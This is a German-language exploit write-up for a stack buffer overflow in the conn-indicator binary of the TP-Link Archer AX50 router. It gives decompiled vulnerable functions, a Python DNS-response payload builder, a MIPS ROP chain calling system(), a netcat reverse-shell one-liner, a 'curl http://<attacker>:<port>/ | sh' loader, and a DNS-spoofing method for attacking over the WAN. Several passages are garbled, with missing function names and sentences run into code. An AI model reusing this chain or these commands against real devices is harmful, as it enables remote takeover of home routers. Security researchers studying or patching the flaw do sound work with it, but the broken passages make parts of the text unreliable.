
Exploit für einen Stack-basierten Pufferüberlauf, der im conn-indicator-Binärprogramm im TP-Link Archer AX50 Router gefunden wurde
Der TP-Link Archer AX50 Router ist anfällig für einen stack-basierten Pufferüberlauf in seiner Firmware Version 1.0.14 Build 20240108 rel.42655(4555), was zu Remote-Code-Ausführung sowohl im LAN als auch im WAN führt. Diese Schwachstelle hat dieselbe Ursache wie CVE-2020-10881, die vom Flashback-Team gefunden und in ihrer Videoserie darüber ausführlich beschrieben wurde (siehe Referenzen). Der Ausnutzungsprozess unterscheidet sich jedoch etwas, sodass ein neuer Exploit geschrieben werden musste.

Diese Schwachstelle tritt in der Binärdatei conn-indicator auf, die dafür zuständig ist, zu überprüfen, ob der Router mit dem Internet verbunden ist, indem sie regelmäßig DNS-Anfragen sendet und auf deren Antworten an einem zufälligen UDP-Port zwischen 32000 und 61000 lauscht.
Die Funktion, die diese DNS-Antwortpakete empfängt und zuerst verarbeitet, ist TPDns_RecvAndResolve(), die sich bei 0x00405e3c befindet. Beim Empfangen eines Pakets mit recvfrom wird es in buf gespeichert, das eine Größe von 2960 Bytes hat. Dann wird geprüft, ob der Rückgabecode korrekt ist (RCODE == 0), und die Anzahl der Fragen und Antworten im Paket (QDCOUNT und ANCOUNT) wird überprüft. Um die Antworten zu verarbeiten, wird process_resolved_IP() aufgerufen, dem ein Zeiger auf buf, answer_ptr (ein Zeiger auf die Position der Antworten im Paket innerhalb von buf), die Anzahl der Antworten (ANCOUNT) und weitere Flags übergeben werden:
undefined4 * TPDns_RecvAndResolve(int socket,void *param_2,int param_3){
[...]
byte buf [2960];
[...]
while( true ) {
recv_bytes = recvfrom(socket,buf + total_recv_bytes,0xb90 - total_recv_bytes,0,&sStack_50,
local_38);
piVar2 = __errno_location();
if (recv_bytes == 0) goto RECV_ERROR;
if (recv_bytes < 0) break;
total_recv_bytes = total_recv_bytes + recv_bytes;
if (2959 < total_recv_bytes) goto PROCESS_DNS_RESP;
}
[...]
/* Check that ANCOUNT is not 0 (answer contains at least one domain) */
puVar5 = (undefined4 *)0x0;
if (buf._6_2_ != 0) {
local_40 = 0;
puVar5 = process_resolved_IP(buf,answer_ptr,(uint)buf._6_2_,&local_3c,&local_40);
answer_ptr = answer_ptr + local_40;
}
[...]
Die Funktion process_resolved_IP(), bei 0x00405818, durchläuft jede Antwort und ruft für jede DNS_answer_parser() auf. Ihr werden als Argumente derselbe Zeiger auf buf, answer (ein Zeiger auf die aktuelle Antwort, die innerhalb des ursprünglichen Pakets in buf geparst wird) und ein Zeiger auf current_answer (ein Puffer der Größe 256) übergeben:
undefined4 * process_resolved_IP(byte *buf,byte *answer_ptr,uint ANCOUNT,undefined4 *param_4,int *param_5){
[...]
byte current_answer [256];
ushort answer_flags [5];
i = 0;
puVar9 = (undefined4 *)0x0;
puVar7 = (undefined4 *)0x0;
answer = answer_ptr;
do {
/* Check if all answers have been parsed already */
if (i == ANCOUNT) {
if (param_4 != (undefined4 *)0x0) {
*param_4 = puVar7;
}
if (param_5 != (int *)0x0) {
*param_5 = (int)answer - (int)answer_ptr;
}
return puVar9;
}
bytes_processed = DNS_answer_parser(buf,answer,current_answer,1);
memcpy(answer_flags,answer + bytes_processed,10);
uVar1 = answer_flags._4_4_;
bytes_processed = bytes_processed + 10;
uVar6 = (uint)answer_flags[4];
uVar8 = (uint)answer_flags[0];
if (uVar8 == 2) {
LAB_00405924:
DNS_answer_parser(buf,answer + bytes_processed,abStack_240,1);
}
else if (uVar8 < 3) {
pbVar2 = answer + bytes_processed;
if (uVar8 == 1) {
sprintf((char *)abStack_240,"%u.%u.%u.%u",(uint)*pbVar2,(uint)pbVar2[1],(uint)pbVar2[2],
(uint)pbVar2[3]);
}
}
else {
if (uVar8 == 5) goto LAB_00405924;
if (uVar8 == 0x1c) {
inet_ntop(10,answer,(char *)abStack_240,0xff);
}
}
answer = answer + bytes_processed + uVar6;
[...]
i = i + 1;
} while( true );
}
Die Funktion DNS_answer_parser(), bei 0x004054e0, parst jede Antwort einzeln, die aus einem Domainnamen in der Form <len><domain><len><domain>... besteht. Als Beispiel würde example.com als 7example3com dargestellt werden. Die Funktion durchläuft jedes Paar <len><domain>, das den Domainnamen in der Antwort bildet, und prüft, ob <len < 63 ist (domain_name & 0xc0 != 0). Dann ruft sie memcpy auf und kopiert <len> Bytes von answer, die <domain> entsprechen, in current_answer. Sie wiederholt den Vorgang für das nächste Paar <len><domain> im Domainnamen.
int DNS_answer_parser(byte *buf,byte *answer,byte *current_answer,int flag){
int iVar1;
uint __n;
int iVar2;
uint uVar3;
ushort flag_and_offset;
byte domain_name;
iVar2 = 0;
do {
domain_name = *answer;
__n = (uint)domain_name;
iVar1 = 1;
if (__n == 0) {
*current_answer = 0;
LAB_004055b0:
return iVar2 + iVar1;
}
/* Check if compression mode is used */
if ((domain_name & 0xc0) != 0) {
flag_and_offset = CONCAT11(domain_name,answer[1]);
DNS_answer_parser(buf,buf + (flag_and_offset & 0x3fff),current_answer,flag);
iVar1 = 2;
goto LAB_004055b0;
}
uVar3 = __n + 1;
if (flag == 0) {
*current_answer = '.';
memcpy(current_answer + 1,answer + 1,__n);
__n = uVar3;
}
else {
memcpy(current_answer,answer + 1,__n);
}
answer = answer + uVar3;
current_answer = current_answer + __n;
iVar2 = iVar2 + uVar3;
flag = 0;
} while( true );
}
Da current_answer nur 256 Byte lang ist, kann ein Angreifer ein Paket mit einer Antwort senden, die einen ausreichend großen Domainnamen enthält, um den Puffer zu überlaufen.
Der Ausnutzungsprozess ist dem vom Flashback-Team in ihrer Videoserie zu CVE-2020-10881 erläuterten (siehe Referenzen) sehr ähnlich, mit einigen wesentlichen Unterschieden:
move-Instruktion, da nun das Register, das nach $a2 als count-Argument für memcpy() verschoben wird, $s1 anstelle von $s0 ist.i in process_resolved_IP() wird in $s5 statt in $s8 geladen. Wenn sie dann mit $v1 verglichen wird, stammt $v1 von $sp+616, was sehr weit vom überlaufenen Puffer entfernt ist, sodass der Stack weiter über die Antwort und den Befehl hinaus beschädigt werden musste.Trotzdem werde ich den gesamten Prozess erläutern.
Die Binärdatei conn-indicator hat NX aktiviert und ASLR ist bei allem außer sich selbst aktiviert:
root@Archer_AX50:/proc/6541# cat maps
00400000-0040f000 r-xp 00000000 1f:0a 1430 /usr/sbin/conn-indicator
0041e000-0041f000 rw-p 0000e000 1f:0a 1430 /usr/sbin/conn-indicator
0041f000-00433000 rw-p 00000000 00:00 0 [heap]
778c2000-778d8000 r-xp 00000000 1f:0a 4681 /lib/libm-0.9.33.2.so
778d8000-778e7000 ---p 00000000 00:00 0
778e7000-778e8000 rw-p 00015000 1f:0a 4681 /lib/libm-0.9.33.2.so
778e8000-778fa000 r-xp 00000000 1f:0a 2506 /usr/lib/libz.so.1.2.7
778fa000-7790a000 ---p 00000000 00:00 0
7790a000-7790b000 rw-p 00012000 1f:0a 2506 /usr/lib/libz.so.1.2.7
7790b000-77a2b000 r-xp 00000000 1f:0a 2509 /usr/lib/libxml2.so.2.7.8
77a2b000-77a3a000 ---p 00000000 00:00 0
77a3a000-77a40000 rw-p 0011f000 1f:0a 2509 /usr/lib/libxml2.so.2.7.8
77a40000-77a46000 r-xp 00000000 1f:0a 2496 /usr/lib/libjson.so.0.0.1
77a46000-77a55000 ---p 00000000 00:00 0
77a55000-77a56000 rw-p 00005000 1f:0a 2496 /usr/lib/libjson.so.0.0.1
77a56000-77aac000 r-xp 00000000 1f:0a 4804 /lib/libuClibc-0.9.33.2.so
77aac000-77abb000 ---p 00000000 00:00 0
77abb000-77abc000 r--p 00055000 1f:0a 4804 /lib/libuClibc-0.9.33.2.so
77abc000-77abd000 rw-p 00056000 1f:0a 4804 /lib/libuClibc-0.9.33.2.so
77abd000-77ac2000 rw-p 00000000 00:00 0
77ac2000-77ad6000 r-xp 00000000 1f:0a 4872 /lib/libgcc_s.so.1
77ad6000-77ae5000 ---p 00000000 00:00 0
77ae5000-77ae6000 rw-p 00013000 1f:0a 4872 /lib/libgcc_s.so.1
77ae6000-77aef000 r-xp 00000000 1f:0a 4893 /lib/libuci.so
77aef000-77afe000 ---p 00000000 00:00 0
77afe000-77aff000 rw-p 00008000 1f:0a 4893 /lib/libuci.so
77aff000-77b01000 r-xp 00000000 1f:0a 4711 /lib/libblobmsg_json.so
77b01000-77b10000 ---p 00000000 00:00 0
77b10000-77b11000 rw-p 00001000 1f:0a 4711 /lib/libblobmsg_json.so
77b11000-77b15000 r-xp 00000000 1f:0a 4709 /lib/libubus.so
77b15000-77b24000 ---p 00000000 00:00 0
77b24000-77b25000 rw-p 00003000 1f:0a 4709 /lib/libubus.so
77b25000-77b2e000 r-xp 00000000 1f:0a 4714 /lib/libubox.so
77b2e000-77b3d000 ---p 00000000 00:00 0
77b3d000-77b3e000 rw-p 00008000 1f:0a 4714 /lib/libubox.so
77b3e000-77b41000 r-xp 00000000 1f:0a 4903 /lib/libdl-0.9.33.2.so
77b41000-77b50000 ---p 00000000 00:00 0
77b50000-77b51000 r--p 00002000 1f:0a 4903 /lib/libdl-0.9.33.2.so
77b51000-77b52000 rw-p 00003000 1f:0a 4903 /lib/libdl-0.9.33.2.so
77b52000-77b59000 r-xp 00000000 1f:0a 4837 /lib/ld-uClibc-0.9.33.2.so
77b65000-77b68000 rw-p 00000000 00:00 0
77b68000-77b69000 r--p 00006000 1f:0a 4837 /lib/ld-uClibc-0.9.33.2.so
77b69000-77b6a000 rw-p 00007000 1f:0a 4837 /lib/ld-uClibc-0.9.33.2.so
7fa04000-7fa25000 rw-p 00000000 00:00 0 [stack]
7ffff000-80000000 r-xp 00000000 00:00 0 [vdso]
root@Archer_AX50:/proc/6541# exploit
Die Strategie zur Ausnutzung dieser Schwachstelle besteht also darin, eine ROP-Kette aufzubauen, mit der wir system() mit dem gewünschten Befehl ausführen können.
Um den Puffer überlaufen und das $ra-Register korrumpieren zu können, muss ein Angreifer eine DNS-Antwort mit einer Antwort senden, die einen ausreichend großen Domainnamen enthält. Bezüglich des DNS-Headers ist die einzige Anforderung, dass RCODE 0 und ANCOUNT 1 ist, da das Paket nur eine Antwort enthalten muss. Als Beispiel korrumpiert das folgende Paket das $ra-Register mit 0x50505050:
# len of each domain name must be less than 63
DOMAIN_LEN = 0x3f
TXID = [0, 0]
FLAGS = [0, 0]
QDCOUNT = [0, 0]
ANCOUNT = [0, 1]
NSCOUNT = [0, 0]
ARCOUNT = [0, 0]
# DNS response header
packet = []
packet += TXID
packet += FLAGS
packet += QDCOUNT
packet += ANCOUNT
packet += NSCOUNT
packet += ARCOUNT
# 4 domain names with length DOMAIN_LEN to fill up the buffer
for i in range (0,4):
packet += [DOMAIN_LEN]
for j in range(0, DOMAIN_LEN):
packet += [0x41]
# Domain name to fill up remaining variables
packet += [0x17]
packet += [0x41] * 23
# Domain name to corrupt the stack
packet += [0x28]
packet += struct.pack(">I", 0x30303030) # s0
packet += struct.pack(">I", 0x31313131) # s1
packet += struct.pack(">I", 0x32323232) # s2
packet += struct.pack(">I", 0x33333333) # s3
packet += struct.pack(">I", 0x34343434) # s4
packet += struct.pack(">I", 0x35353535) # s5
packet += struct.pack(">I", 0x36363636) # s6
packet += struct.pack(">I", 0x37373737) # s7
packet += struct.pack(">I", 0x38383838) # s8
packet += struct.pack(">I", 0x50505050) # ra
packet += [0]
Da die Adresse der Binärdatei bei jeder Ausführung gleich ist und sie einen beschreibbaren Bereich hat, ist der Plan, den auszuführenden Befehl dorthin zu kopieren und dann system() damit aufzurufen. Dazu wird die folgende ROP-Kette verwendet:
memcpy() vor. Die Adresse des nächsten Gadgets wird in $ra geladen. Dann wird $s2 nach $v0 verschoben. Dieses enthält die Adresse des beschreibbaren Bereichs der Binärdatei, in den der Befehl kopiert wird, was das dest-Argument für memcpy() sein wird. Dann wird das count-Argument für memcpy von einer Stack-Adresse, die wir kontrollieren, in $s1 geladen. Schließlich springt es zum nächsten Gadget:00402700 lw ra, 0x2c(sp)
00402704 move v0, s2
00402708 lw s2, 0x28(sp)
0040270c lw s1, 0x24(sp)
00402710 lw s0, 0x20(sp)
00402714 jr ra
00402718 addiu sp, sp, 0x30
memcpy() vor und ruft es dann auf. Das dest-Argument für memcpy(), das dem beschreibbaren Bereich der Binärdatei entspricht und sich in $v0 befand, wird als erster Parameter von memcpy() in $a0 geladen. Zu diesem Zeitpunkt der Ausführung zeigt $a1 auf das Ende der Antwort im DNS-Antwortpaket, wo wir unsere Befehlskette platziert haben, sodass keine Vorbereitung des src-Parameters erforderlich ist. Dann wird $s1, das den im vorherigen Gadget geladenen count-Parameter enthält, als dritter Parameter für memcpy() nach $a2 verschoben. Schließlich wird memcpy() aufgerufen und die Befehlskette in den beschreibbaren Bereich der Binärdatei kopiert. Dieses Gadget befindet sich am Ende von , sodass die Ausführung nun innerhalb dieser Funktion fortgesetzt wird. Der Stack muss nun so angeordnet werden, dass die Funktion erfolgreich zurückkehren kann. Dazu werden einige Variablen dieser Funktion, die vom Stack und von einigen Registern geladen werden, sorgfältig in der Nutzlast platziert, wie , , und . Bei der Rückkehr wird die Adresse von erneut vom Stack genommen, in den wir die Adresse des nächsten Gadgets legen, um dorthin zu springen.00405a98 move a0, v0
00405a9c jal <EXTERNAL>:memcpy
00405aa0 _move a2, s1
[...]
system() vor und ruft es auf. Zu diesem Zeitpunkt der Ausführung enthält $v0 den Wert von $s3, in den wir die Adresse des beschreibbaren Bereichs in der Binärdatei gelegt haben, die nun den Befehl enthält. Also wird $v0 nach $a0 verschoben. Dann wird die Adresse von system(), die in die Binärdatei importiert wird, vom Stack in $ra gelegt und system() aufgerufen, wodurch Codeausführung erreicht wird.004065e8 move a0, v0
004065ec clear v0
004065f0 lw ra, 0x1c(sp)
004065f4 jr ra
Die auf dem Ziel auszuführende Reverse Shell, auf dem busybox läuft, ist die folgende:
rm -f /tmp/f; mknod /tmp/f p; cat /tmp/f | /bin/sh -i 2>&1 | nc <attacker> <port> >/tmp/f
Allerdings muss der auszuführende Befehl kürzer als 62 Zeichen sein, und da das Dateisystem nur unter /tmp beschreibbar ist, war es unmöglich, die Reverse Shell direkt auszuführen. Stattdessen wurde ein Loader ausgeführt: curl http://<attacker>:<port>/ | sh, der die Reverse Shell vom Angreifer abruft.
Nun muss nur noch der Port erraten werden, auf dem conn-indicator lauscht, was leicht automatisiert werden kann.
Bisher würde dieser Exploit nur auf der LAN-Seite funktionieren, da die WAN-Seite durch eine Firewall geschützt ist. Es gibt jedoch eine Möglichkeit, diese Einschränkung zu umgehen. Damit conn-indicator die DNS-Antworten empfangen kann, erlaubt die Firewall Pakete, die von derselben IP wie die von der Binärdatei gesendeten DNS-Anfragen stammen, also Pakete, die vom DNS stammen, den der Zielrouter verwendet. Um die Firewall zu umgehen, reicht es also, Pakete zu senden, die als DNS-Server gefälscht sind. Wenn sich das Ziel in einem lokalen Netzwerk befindet, wird dies wahrscheinlich etwas wie 192.168.0.1, 192.168.1.1 oder 10.0.0.1 sein. Wenn das Ziel direkt mit dem Internet verbunden ist, wird es wahrscheinlich etwas wie 8.8.8.8, 1.1.1.1 oder ein anderer gängiger DNS-Server sein.
Der voll funktionsfähige Exploit funktioniert sowohl für LAN als auch für WAN. Der LAN-Modus brute-forct jeden Port von 32000 bis 61000 und der WAN-Modus brute-forct dieselben Ports und alle möglichen DNS-IPs, die in SPOOF_LIST gespeichert sind. Diese Liste sollte basierend auf dem Wissen des Angreifers über das Ziel bearbeitet werden; mit ausreichend Zeit (Minuten) sollte sie jedoch 90% der Fälle abdecken.
/tmp schreibgeschützt, daher müssen alle Schreib- und Lesevorgänge dort erfolgen. Dies macht es unmöglich, dass die Reverse Shell weniger als 62 Zeichen lang ist. Um sie auf dem Ziel zu platzieren, muss sie von einem Webserver bereitgestellt und ein Befehl zum Herunterladen und Ausführen an das Ziel gesendet werden.process_resolved_IP()ANCOUNTparam_4param_5i$ra